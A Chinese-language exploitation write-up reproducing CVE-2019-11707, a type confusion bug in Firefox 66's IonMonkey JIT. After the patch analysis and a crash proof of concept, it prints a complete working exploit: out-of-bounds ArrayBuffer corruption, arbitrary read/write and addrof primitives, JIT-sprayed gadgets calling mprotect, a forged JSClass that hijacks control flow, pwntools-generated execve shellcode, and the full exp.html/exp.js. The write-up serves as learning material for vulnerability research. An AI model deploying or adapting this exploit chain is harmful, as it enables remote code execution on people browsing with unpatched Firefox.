firefox pwn 入门 - CVE-2019-11707 复现笔记

 

这篇文章主要复现了一下CVE-2019-11707 这个洞,大部分都是参考vigneshsrao 的分析文章, 这个漏洞是 Ionmonkey jit 实现上的漏洞,最终可以导致类型混淆。

 

环境配置

调试用的firefox 66.0.3, 源码在这里 下载,复现环境在 ubuntu 1604 下

我没有办法在ubuntu1604 下编译这个版本的firefox, 但是单独编译 jsshell 是可以的, 可以先编个 jsshell 来测试然后在跑完整的firefox. firefox 在about:confg 里设置

// 单线程, 便于调试
browser.tabs.remote.autostart = false
// 去掉 sandbox
security.sandbox.content.level = 0

文章涉及的代码都放在了这里

 

漏洞分析

这个漏洞是saelo 在19年fuzz出来的,是 Ionmonkey 层的漏洞,最终打上的部分patch如下

--- a/js/src/jit/MCallOptimize.cpp
+++ b/js/src/jit/MCallOptimize.cpp
@@ -922,19 +922,20 @@ IonBuilder::InliningResult IonBuilder::i
   if (clasp != &ArrayObject::class_) {
     return InliningStatus_NotInlined;
   }
   if (thisTypes->hasObjectFlags(constraints(), unhandledFlags)) {
     trackOptimizationOutcome(TrackedOutcome::ArrayBadFlags);
     return InliningStatus_NotInlined;
   }

+  // Watch out for extra indexed properties on the object or its prototype.
   bool hasIndexedProperty;
   MOZ_TRY_VAR(hasIndexedProperty,
-              ArrayPrototypeHasIndexedProperty(this, script()));
+              ElementAccessHasExtraIndexedProperty(this, obj));
   if (hasIndexedProperty) {
     trackOptimizationOutcome(TrackedOutcome::ProtoIndexedProps);
     return InliningStatus_NotInlined;
   }

//...

patch 只是把原来hashIndexedPropertyArrayPrototypeHasIndexedProperty 检查换成了ElementAccessHasExtraIndexedProperty

当创建一个 array 时, 像下面这样,a 的prototype 是Array Object

js> a=[1.1,2.2] 
[1.1, 2.2]
js> dumpObject(a)
object a704d898080
  global a704d88b060 [global]
  class 555557f214f0 Array
  group a704d888820
  flags:
  proto <Array object at a704d8ae040>
  properties:
    "length" (shape a704d8b1078 permanent getterOp 5555557ec410 setterOp 5555557ec470)
  elements:
      0: 1.1
      1: 2.2

继续看a.__proto__ 以及 a.__proto__.__proto__

js> dumpObject(a.__proto__) 
object a704d8ae040
  global a704d88b060 [global]
  class 555557f214f0 Array
  lazy group
  flags: delegate new_type_unknown
  proto <Object at a704d88e040>
  properties:
    "length" (shape a704d899fc8 permanent getterOp 5555557ec410 setterOp 5555557ec470)
//..........................................
js> dumpObject(a.__proto__.__proto__)
object a704d88e040
  global a704d88b060 [global]
  class 555557f23898 Object
  group a704d888250
  flags: delegate new_type_unknown immutable_prototype inDictionaryMode hasShapeTable
  proto null
  properties:
    "toSource": <function toSource at a704d88f340> (shape a704d892128 slot 0)
    "toString": <function toString at a704d88f380> (shape a704d892100 slot 1)

aprototype chains 如下

a.__proto__ --> Array.prototype --> Object.prototype --> null

ArrayPrototypeHasIndexedProperty 会检查Array.prototype 是否有index类型的properties , 例如a.__proto__.m = [1.1,2.2,3.3] 这个检查发生在IonBuilder::inlineArrayPopShift,IonBuilder::inlineArrayPushShift以及IonBuilder::inlineArraySlice 函数中,他们会在jit中进入inline cache时调用.

AbortReasonOr<bool> jit::ArrayPrototypeHasIndexedProperty(IonBuilder* builder,
                                                          JSScript* script) {
  if (JSObject* proto = script->global().maybeGetArrayPrototype()) {
    return PrototypeHasIndexedProperty(builder, proto);
  }
  return true;
}

这里的漏洞在于检查的不充分,执行b=[1.1,2.2]; a.__proto__=b, 原型链就会变成

a.__proto__ --> b.__proto__ --> Array.prototype --> Object.prototype --> null

因为只检查了Array.prototype ,所以并不会检查b 上是否有indexed 类型的properties

 

漏洞利用

poc 分析

saelo 给出了漏洞的poc 如下

    // Run with --no-threads for increased reliability
    const v4 = [{a: 0}, {a: 1}, {a: 2}, {a: 3}, {a: 4}];
    function v7(v8,v9) {
        if (v4.length == 0) {
            v4[3] = {a: 5};
        }    
        const v11 = v4.pop();
        // v11 被认为是一个 object
        v11.a;

        // 执行之后会进入 jit
        for (let v15 = 0; v15 < 10000; v15++) {}
    }

    var p = {};
    p.__proto__ = [{a: 0}, {a: 1}, {a: 2}];
    p[0] = -1.8629373288622089e-06;// 0x4141414141414141
    v4.__proto__ = p;

    for (let v31 = 0; v31 < 1000; v31++) {
        v7();
    }

v7() 执行后会进入到jit ,这里还需要知道一个知识点, 对于稀疏类型的array, 如有a=[]; a[3] =1 这样a[0], a[1],a[2] 都是undefined 的,它就会顺着原型链一层一层的找有没有indexed 类型的对象, 像下面这样

js> a=[]
[]
js> a[3]=1
1
js> a 
[, , , 1]
js> a.__proto__=[4,5]
[4, 5]
js> a
[4, 5, , 1]
js> a.pop()
1
js> a.pop()
js> a.pop()
5
js> a.pop()
4

执行pop 之后Array.pop 进入inline cache, 根据前面的分析,这里不会检查v4.__proto__, 检查通过, jit 层会认为v4.pop() 固定是一个object, 会去掉其类型检查。

于是在v7 里, 当v4 5个对象都pop完之后,v4[3] = {a: 5};v4 变成稀疏类型的array, 这时候p[0] 会转入index ==0 的地方, 当pop到p[0] = -1.8629373288622089e-06 时有v11 == -1.8629373288622089e-06 ,但是jit 仍认为它是一个object,访问v11.a 就会有非法内存访问而crash

js> a=[]
[]
js> a[3]=1
1
js> a
[, , , 1]
js> p={}
({})
js>  p.__proto__ = [{a: 0}, {a: 1}, {a: 2}];
[{a:0}, {a:1}, {a:2}]
js> p[0] = -1.8629373288622089e-06;
-0.0000018629373288622089
js> p
[-0.0000018629373288622089, {a:1}, {a:2}]
js> a.__proto__=p
[-0.0000018629373288622089, {a:1}, {a:2}]
js> a
[-0.0000018629373288622089, {a:1}, {a:2}, 1]

poc 运行之后效果如下

pwndbg> set args --no-threads poc.js
pwndbg> r

 RAX  0x4141414141414141 ('AAAAAAAA')
//..
 RSI  0x7fffffff9d48 —▸ 0x7fffffff9d80 ◂— 0xbebf414141414141
 R8   0x1
 R9   0x7fffffff9aa8 ◂— 0x0
//...
 RIP  0x3ac4ec7485d0 ◂— cmp    qword ptr [rax], r11
─────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x3ac4ec7485d0    cmp    qword ptr [rax], r11
   0x3ac4ec7485d3    jne    0x3ac4ec7485e2

漏洞利用

根据前面的分析,我们可以往p[0] 存入其他类型的对象,然后在v7 的内存访问中就可能出现类型混淆。

vigneshsrao 用了Uint8ArrayUint32Array 这两个对象来构造类型混淆, 基本上按照saelo 的poc来。

buf=[];
for(let i=0;i<0x10;i++)
        buf.push(new ArrayBuffer(0x60));
var abuf = buf[5];
var e=new Uint32Array(abuf);
e[0]=0x61626364;
e[1]=0x31323334;
const arr = [e,e,e,e,e];
function vuln(a1){
        if(arr.length==0){
                arr[3] = e;
        }
        const v11 =  arr.pop();
        // 修改 下一个 ArrayBuffer 的 size 字段
        v11[a1] = 0x100;
        for(let i =0;i<100000;i++){}

}
p =  [new Uint8Array(abuf),e,e];
arr.__proto__=p;
for(let i=0;i<2000;i++){
        vuln(34);
}

for(let i=0;i<buf.length;i++)
        print(i+' '+ buf[i].byteLength);

ArrayBuffer 的data slots 的最大inline 大小是 0x60, vuln 函数里修改v11[34] = 0x100;v11 == e ,e[34] 超过执行不会成功,当v11 == Uint8Array(abuf) 时,jit 仍认为v11Uint32Array 类型,jit 中去掉了type array 的类型检查,只检查了传入的index 是否越界,此时Uint8Array(abuf) 的size是0x60 , 于是可以成功写入内存,但是实际写的地址是addr + 34 * 4 , 像下面这样,我们可以越界写修改buf[7]byteLength 字段

pwndbg> search -t qword 0x3132333461626364   
                0x20c9e49383c0 'dcba4321'    
pwndbg> x/40gx 0x20c9e49383c0-0x40         
// .. buf[6]
0x20c9e4938380: 0x00002746d7073a30      0x000020c9e4927330
0x20c9e4938390: 0x0000000000000000      0x00007fffeb5170c0
0x20c9e49383a0: 0x00001064f249c1e0      0xfff8800000000060
0x20c9e49383b0: 0xfffe169ac6f5b080      0xfff8800000000000
0x20c9e49383c0: 0x3132333461626364      0x0000000000000000
0x20c9e49383d0: 0x0000000000000000      0x0000000000000000
// ... buf[7]
0x20c9e4938420: 0x00002746d7073a30      0x000020c9e4927330
0x20c9e4938430: 0x0000000000000000      0x00007fffeb5170c0
0x20c9e4938440: 0x00001064f249c230      0xfff8800000000100// buf[7].byteLength
0x20c9e4938450: 0xfffa000000000000      0xfff8800000000000
0x20c9e4938460: 0x0000000000000000      0x0000000000000000
//..................
Please wait...
[+]: 0 96
[+]: 1 96
[+]: 2 96
[+]: 3 96
[+]: 4 96
[+]: 5 96
[+]: 6 256
[+]: 7 96
[+]: 8 96
[+]: 9 96
[+]: 10 96
[+]: 11 96
[+]: 12 96
[+]: 13 96
[+]: 14 96
[+]: 15 96

到了这里,我们已经有了越界读写的能力了,后续的漏洞利用都比较通用化,基本的流程如下

  • 1 构造 任意地址读写
  • 2 往 jit 写入shellcode
  • 3 伪造JSClass ,修改addProperty 字段劫持控制流

构造任意地址读写

有了数组越界,构造任意地址读写就不难了, 首先泄露出0x00001064f249c230 这个地址,0x00001064f249c230<<1 -0x40 可以得到buf[7] 的起始地址,后续改写这个地址就可以任意地址读写了

// buf[7]
//                //group                shape
0x20c9e4938420: 0x00002746d7073a30      0x000020c9e4927330
                //slots
0x20c9e4938430: 0x0000000000000000      0x00007fffeb5170c0
                //0x20c9e4938460>>1
0x20c9e4938440: 0x00001064f249c230      0xfff8800000000100// buf[7].byteLength
0x20c9e4938450: 0xfffa000000000000      0xfff8800000000000
0x20c9e4938460: 0x0000000000000000      0x0000000000000000

这里还需要构造一个addrof, 当执行buf[7].leak = {} 的时候,它会放在前面slots 处,把data buffer 改成0x00007fffcfcfb600>>1 然后读buf[7] 就可以泄露出 对象的地址了

pwndbg> x/20gx 0x112c38f204c0
0x112c38f204c0: 0x0000160cb7b59a30      0x0000112c38f22380
                //slots
0x112c38f204d0: 0x00007fffcfcfb600      0x00007fffeb5170c0
                //data buffer
0x112c38f204e0: 0x000008961c790280      0xfff8800000000060
0x112c38f204f0: 0xfffe38a368b3d180      0xfff8800000000000
0x112c38f20500: 0x0000000000000000      0x0000000000000000
0x112c38f20510: 0x0000000000000000      0x0000000000000000
//.....
pwndbg> x/10gx 0x00007fffcfcfb600
0x7fffcfcfb600: 0xfffe112c38f2f300      0x0000000000000000
0x7fffcfcfb610: 0x0000000000000000      0x0000000000000000
0x7fffcfcfb620: 0x0000000000000000      0x0000000000000000
0x7fffcfcfb630: 0x0000000000000000      0x0000000000000000

具体实现代码如下, spidermonkey 的对象都会加上一个 tag ,读的时候把它去掉就行

function readptr(addr){
        oob64[16] = i2f(addr/2);
        oob[34] = 0x100;
        ptrleak = new Uint32Array(buf[7]);
        leak = ptrleak[0] + (ptrleak[1]&0x7fff)*0x100000000;
        return leak;
}
function addrof(obj){
        buf[7].leak = obj;
        return readptr(buf7_slots_addr);
}
function write64(addr,data){
        oob64[16] = i2f(addr/2);
        oob[34] = 0x100;
        towrite = new Float64Array(buf[7]);
        towrite[0] = i2f(data);
}

jit 写入 shellcode

因为jit 中的代码有可执行权限,如果可以往jit 中写入shellcode, 那么劫持控制流之后直接跳到jit 执行就完事了,但是spidermonkeyjitr_x 权限的,不可直接写入,但是我们可以像下面这样把数据传入到r_x

print(d2f(0x41424344,0x61626364));
print(d2f(0x13371337,0x13371337));
//2393736.760815071      
//4.183559446463817e-216 
function tmp(){
        const a=2393736.760815071;
        const b=4.183559446463817e-216;
}
for(let i=0;i<100000;i++)tmp();
//.....
pwndbg> search -t qword 0x4142434461626364                           
                0x15b165d2926e movsxd rsp, dword ptr fs:[rdx + 0x61] 
pwndbg> x/20gx 0x15b165d2926e                                  
0x15b165d2926e: 0x4142434461626364      0x1337bb49c85d894c     
0x15b165d2927e: 0x894c133713371337      0x00000000b948c05d     

pwndbg> x/20gx 0x15b165d2926e+6+8                              
0x15b165d2927c: 0x1337133713371337      0x0000b948c05d894c     
0x15b165d2928c: 0x45f7fff980000000      0x04840f00000001fc

可以看到0x41424344616263640x1337133713371337 都被存入到了jit 上,但是他们内存是不连续的,原本的jit代码如下

pwndbg> x/10i 0x15b165d2926e-6                              
   0x15b165d29268:      mov    QWORD PTR [rbp-0x40],r11     
   0x15b165d2926c:      movabs r11,0x4142434461626364       
   0x15b165d29276:      mov    QWORD PTR [rbp-0x38],r11     
   0x15b165d2927a:      movabs r11,0x1337133713371337       
   0x15b165d29284:      mov    QWORD PTR [rbp-0x40],r11     
   0x15b165d29288:      movabs rcx,0xfff9800000000000       
   0x15b165d29292:      test   DWORD PTR [rbp-0x4],0x1

但是没有关系,因为可以利用const 一次往jit 写入8个byte,const 之间内存地址是连续的,可以写入多个gadget,构造gadget1 => jmp gadget2 => jmp gadget3 这样

最终写入的shellcode 如下

func = function func() {
    // 0x1337133713371337
  const magic = 4.183559446463817e-216;

  //0x67490c038098b48 mov    rcx,QWORD PTR [rcx] ;cmp    al,al; nop
  const g1 = 1.4501798452584495e-277
  //0x6749000100068 push   0x1000; nop
  const g2 = 1.4499730218924257e-277
  //0x674c038ff31485e pop    rsi ;xor    rdi,rdi;cmp    al,al
  const g3 = 1.4632559875735264e-277
  //0x6745f00fff68 push   0xfff;pop    rdi;
  const g4 = 1.4364759325952765e-277
  //0x674909090d7f748     not    rdi;nop;nop;nop
  const g5 = 1.450128571490163e-277
  //0x67490c038cf2148  and    rdi,rcx;cmp    al,al;nop
  const g6 = 1.4501798485024445e-277
  //0x674580a6a5a076a push   0x7;pop rdx;push 0xa; pop rax;
  const g7 = 1.4345589835166586e-277
  //0x0c3050f51  push   rcx; syscall; ret
  const g8 = 1.616527814e-314
}

每个const 最后两个byte 都写入0x74 0x06, 对应je pc+8 ,shellcode 达到的效果相当于是调用

mprotect(rcx,0x1000,0x7);
jmp rcx

即把rcx 对应的内存变成rwx 权限

伪造 JSClasss

接着我们看看如何劫持控制流, 在执行a.a=xxx 添加properties 时,如果addProperty 字段不为null, 则会调用执行addProperty 对应的函数,假如我们修改了addPropertyjit 的地址,就可以执行我们的shellcode, 还有一点就是执行a.x = new Object() 的时候rcx 上会保存new Object 的地址,也就是说结合jit中的 mprotect ,我们可以做到把任意地址改为rwx 权限

1.jpg

但是实际上,classp_ 是const 类型,保存在r-- 段上,是不可写的, 但是没有关系,spidermonkey并没有很严格的堆隔离机制,我们可以伪造整个ObjectGroup, 然后把 addProperty 字段改成jit 的地址即可

pwndbg> x/20gx 0x112c38f204c0
                // group
0x112c38f204c0: 0x0000160cb7b59a30      0x0000112c38f22380
0x112c38f204d0: 0x00007fffcfcfb600      0x00007fffeb5170c0
0x112c38f204e0: 0x000008961c790280      0xfff8800000000060
pwndbg> vmmap 0x0000160cb7b59a30
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x160cb7b00000     0x160cb7c00000 rw-p   100000 0 
//...
pwndbg> x/10gx 0x0000160cb7b59a30
                //classp_
0x160cb7b59a30: 0x00007fffed1f2240      0x00003b6e9bcba240
0x160cb7b59a40: 0x00007fffd3de6800      0x0000000040000018
pwndbg> vmmap 0x00007fffed1f2240
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7fffece8c000     0x7fffed235000 r--p   3a9000 6f7e000 /home/prb/firefox/libxul.so
//...
pwndbg> x/20gx 0x00007fffed1f2240
                //name                //flags
0x7fffed1f2240: 0x00007fffeb12daff      0x000000005d000402
                //cOps
0x7fffed1f2250: 0x00007fffed1f24c0      0x00007fffed1f26b0
0x7fffed1f2260: 0x00007fffed1f2238      0x0000000000000000
0x7fffed1f2270: 0x00007fffeb52bbcd      0x000000005c000000
//..
pwndbg> x/20gx 0x00007fffed1f24c0
                //addProperty
0x7fffed1f24c0: 0x0000000000000000      0x0000000000000000
0x7fffed1f24d0: 0x0000000000000000      0x0000000000000000
0x7fffed1f24e0: 0x0000000000000000      0x0000000000000000
0x7fffed1f24f0: 0x00007fffea567390      0x0000000000000000
0x7fffed1f2500: 0x0000000000000000      0x0000000000000000
0x7fffed1f2510: 0x00007fffea5673f0      0x0000000000000000

实现部分代码如下, 参考前面的内存布局

             //group_addr == 0x0000160cb7b59a30
            // group_jsclass == 0x00007fffed1f2240 
            group_jsclass = readptr(group_addr);
                print("group_jsclass "+hex(group_jsclass));
                fake_jsclass_array = new ArrayBuffer(0x30);
                fake_cops_array = new ArrayBuffer(0x60);
                shellcode = new Uint8Array(0x1000);

                fake_jsclass_addr = addrof(fake_jsclass_array)+0x40;
                fake_cops_addr = addrof(fake_cops_array) + 0x40;


                fake_jsclass = new Float64Array(fake_jsclass_array);
                fake_cops = new Float64Array(fake_cops_array);
                // 完整拷贝一份 classp_ 的内容
                fake_jsclass[0]=i2f(readptr(group_jsclass+0x0));//name
                fake_jsclass[1]=i2f(readptr(group_jsclass+0x8));//flags
                fake_jsclass[2]=i2f(readptr(group_jsclass+0x10));//cOps
                fake_jsclass[3]=i2f(readptr(group_jsclass+0x18));//spec
                fake_jsclass[4]=i2f(readptr(group_jsclass+0x20));//ext
                fake_jsclass[5]=i2f(readptr(group_jsclass+0x28));//oOps
                print("fake jsclass: "+hex(fake_jsclass_addr));
                print(fake_jsclass);

                cops_addr = f2i(fake_jsclass[2]);
                // 完整拷贝一份 ClassOps 的内容
                for(let i =0;i<12;i++){
                        fake_cops[i] = i2f(readptr(cops_addr+0x8*i));
                }
                print("fake cops: "+hex(fake_cops_addr));
                print(fake_cops);
                // cOps  --> fake_cops
                fake_jsclass[2] = i2f(fake_cops_addr);
                // cOps -> addProperty --> jit_addr
                fake_cops[0] = i2f(jit_addr);

                shellcode_obj_addr = addrof(shellcode) ;
                shellcode_addr = readptr(shellcode_obj_addr+0x38) ;
                print(hex(shellcode_obj_addr));
                print(hex(shellcode_addr));
                // group_addr  --> fake_jsclass
              write64(group_addr,fake_jsclass_addr);

任意代码执行

前面的 JSClass 伪造完成之后,只要执行buf[7].jjj=i2f(shellcode_addr), 就会跳转去执行jit 上的shellcode, rcx == shellcode_addr, shellcode_addr 对应的内存变成rwx, 往这块内存写入shellcode就可以任意代码执行啦。我们希望可以弹出一个计算器出来, 这里我写了一个生成 shellcode 的脚本

from pwn import *

context.arch='amd64'

cmd='/usr/bin/xcalc'
env='DISPLAY=:0'

#cmd='/bin/bash'
#env='x00'

cmd_off = 0x50

env_off = cmd_off + len(cmd) + 0x20
shellcode='''
lea    rdi, [rip + %d]
xor    rsi, rsi
push   rsi
push   rdi
push rsp
pop    rsi
xor rdx,rdx
push   rdx
lea    rdx,[rip+ %d ]
push   rdx
push   rsp
pop    rdx
mov    al,0x3b
syscall
''' % (cmd_off-0x7, env_off-25)
shellcode=asm(shellcode).ljust(cmd_off,'x90')
shellcode+=cmd
shellcode=shellcode.ljust(env_off,'x00')
shellcode+=env
shellcode+='x00'

print(len(shellcode))
print(shellcode)

jsdata='sc = '+str([ord(i) for i in shellcode])+'n'
print(jsdata)
with open('shellcode.js','w') as f:
    f.write(jsdata)
    f.close()

执行之后生成一个shellcode.js 保存一个sc 数组,把这个数组拷贝到要转换成rwx 的内存即可

root@prbv:/var/www/html# python shellcode.py 
137
Hx8d=Ix00x001�VWT^H1Hx8dx15x00x00TZxb0;x0fx90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90/usr/bin/xcalcx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00DISPLAY=:0x00
sc = [72, 141, 61, 73, 0, 0, 0, 72, 49, 246, 86, 87, 84, 94, 72, 49, 210, 82, 72, 141, 21, 101, 0, 0, 0, 82, 84, 90, 176, 59, 15, 5, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 47, 117, 115, 114, 47, 98, 105, 110, 47, 120, 99, 97, 108, 99, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 68, 73, 83, 80, 76, 65, 89, 61, 58, 48, 0]

exp

完整exp如下

exp.html

<!DOCTYPE html>
<html>
<head>
  <style>
    body {
      font-family: monospace;
    }
  </style>

  <script src="shellcode.js"></script>
  <script src="exp.js"></script>
</head>
<body onload="pwn()">
  <p>Please wait...</p>
</body>
</html>

exp.js

var conversion_buffer = new ArrayBuffer(8);
var f64 = new Float64Array(conversion_buffer);
var i32 = new Uint32Array(conversion_buffer);

var BASE32 = 0x100000000;
function f2i(f) {
    f64[0] = f;
    return i32[0] + BASE32 * i32[1];
}

function i2f(i) {
    i32[0] = i % BASE32;
    i32[1] = i / BASE32;
    return f64[0];
}

function hex(addr){
    return '0x'+addr.toString(16);
}
function print(msg) {
    console.log(msg);
//    document.body.innerText += 'n[+]: '+msg ;
    document.body.innerHTML += '<br>[+]: '+msg ;
}

function some(buf,addr){
    buf.jjj=i2f(addr);
}
function pwn(){
    buf=[];
    for(let i=0;i<0x10;i++)
        buf.push(new ArrayBuffer(0x60));
    var abuf = buf[5];
    var e=new Uint32Array(abuf);
    e[0]=0x61626364;
    e[1]=0x31323334;
    const arr = [e,e,e,e,e];
    function vuln(a1){
        if(arr.length==0){
            arr[3] = e;
        }
        const v11 =  arr.pop();
        v11[a1] = 0x100;
        for(let i =0;i<100000;i++){}

    }
    p =  [new Uint8Array(abuf),e,e];
    arr.__proto__=p;
    for(let i=0;i<2000;i++){
        vuln(34);
    }

    for(let i=0;i<buf.length;i++)
        print(i+' '+ buf[i].byteLength);

    var oob = new Uint32Array(buf[6]);
    var oob64 = new Float64Array(buf[6]);
    var victim = new Uint32Array(buf[7]);
    var victim64 = new Float64Array(buf[7]);

    func = function func() {
      const magic = 4.183559446463817e-216;

      const g1 = 1.4501798452584495e-277
      const g2 = 1.4499730218924257e-277
      const g3 = 1.4632559875735264e-277
      const g4 = 1.4364759325952765e-277
      const g5 = 1.450128571490163e-277
      const g6 = 1.4501798485024445e-277
      const g7 = 1.4345589835166586e-277
      const g8 = 1.616527814e-314
    }
    buf[7].leak = func;
    for (i=0;i<100000;i++) func();


    buf7_addr = f2i(oob64[16])*2 - 0x40 ;    
    buf7_group_addr = f2i(oob64[12]);    
    buf7_slots_addr = f2i(oob64[14]);    

    print("buf7_addr "+hex(buf7_addr));
    print("buf7_group_addr "+hex(buf7_group_addr));
    print("buf7_slots_addr "+hex(buf7_slots_addr));

    function readptr(addr){
        oob64[16] = i2f(addr/2);
        oob[34] = 0x100;
        ptrleak = new Uint32Array(buf[7]);
        leak = ptrleak[0] + (ptrleak[1]&0x7fff)*0x100000000;
        return leak;
    }
    function addrof(obj){
        buf[7].leak = obj;
        return readptr(buf7_slots_addr);
    }
    function write64(addr,data){
        oob64[16] = i2f(addr/2);
        oob[34] = 0x100;
        towrite = new Float64Array(buf[7]);
        towrite[0] = i2f(data);
    }

    function get_jit_addr(slots_addr){
//        func_addr = readptr(slots_addr);
        func_addr =  addrof(func);
        print("func_addr "+hex(func_addr));
        func_some = readptr(func_addr+0x30);
        print("func_some "+hex(func_some));
        jit_addr = readptr(func_some);
        print("jit_addr "+hex(jit_addr));

        jit_addr = jit_addr - 0xff0;
        for(let i=0;i<3;i++){
            offset=-1;
            oob64[16] = i2f(jit_addr/2);
            oob[34] = 0xff0+0x100;
            tmp = new Uint8Array(buf[7]);
            for(let j=0;j<0xff0;j++){
                if(tmp[j+0]==0x37 &&
                   tmp[j+1]==0x13 &&
                   tmp[j+2]==0x37 &&
                   tmp[j+3]==0x13 &&
                   tmp[j+4]==0x37 &&
                   tmp[j+5]==0x13 &&
                   tmp[j+6]==0x37 &&
                   tmp[j+7]==0x13){
                    offset=j;
                    break;
                }
            }
            if(offset!=-1)break;
            jit_addr+=0xff0;
        }
        print(hex(offset));
        return jit_addr+offset+8+6;
    }
    jit_addr = get_jit_addr(buf7_slots_addr);
    print("jit_addr "+hex(jit_addr));

    function gen_fake_jsclass(group_addr){
        group_jsclass = readptr(group_addr);
        print("group_jsclass "+hex(group_jsclass));
        fake_jsclass_array = new ArrayBuffer(0x30);
        fake_cops_array = new ArrayBuffer(0x60);
        shellcode = new Uint8Array(0x1000);

        fake_jsclass_addr = addrof(fake_jsclass_array)+0x40;
        fake_cops_addr = addrof(fake_cops_array) + 0x40;


        fake_jsclass = new Float64Array(fake_jsclass_array);
        fake_cops = new Float64Array(fake_cops_array);

        fake_jsclass[0]=i2f(readptr(group_jsclass+0x0));//name
        fake_jsclass[1]=i2f(readptr(group_jsclass+0x8));//flags
        fake_jsclass[2]=i2f(readptr(group_jsclass+0x10));//cOps
        fake_jsclass[3]=i2f(readptr(group_jsclass+0x18));//spec
        fake_jsclass[4]=i2f(readptr(group_jsclass+0x20));//ext
        fake_jsclass[5]=i2f(readptr(group_jsclass+0x28));//oOps
        print("fake jsclass: "+hex(fake_jsclass_addr));
        print(fake_jsclass);

        cops_addr = f2i(fake_jsclass[2]);
        //cops copy
        for(let i =0;i<12;i++){
            fake_cops[i] = i2f(readptr(cops_addr+0x8*i));
        }
        print("fake cops: "+hex(fake_cops_addr));
        print(fake_cops);
        fake_jsclass[2] = i2f(fake_cops_addr);
        fake_cops[0] = i2f(jit_addr);

        shellcode_obj_addr = addrof(shellcode) ;
        shellcode_addr = readptr(shellcode_obj_addr+0x38) ;
        print(hex(shellcode_obj_addr));
        print(hex(shellcode_addr));



        for(let i=0;i<sc.length;i++){
            shellcode[i] = sc[i];
        }
        write64(group_addr,fake_jsclass_addr);
            document.body.innerHTML += '<br><input type="button" onclick="some(buf[7],shellcode_addr)" value="pwn">' ;


    }

    gen_fake_jsclass(buf7_group_addr);
}

利用效果

运行效果如下

 

小结

这里主要跟着vigneshsrao 的文章调了一下CVE-2019-11707,学习了一下firefox 的漏洞利用链, 整体的漏洞利用链脑子里也比较清晰了,当然这还是没有sandbox 的情况, 后续要找一个 sandbox 逃逸的来调一波。

 

reference

https://bugs.chromium.org/p/project-zero/issues/detail?id=1820

https://github.com/vigneshsrao/CVE-2019-11707

https://vigneshsrao.github.io/writeup/

(完)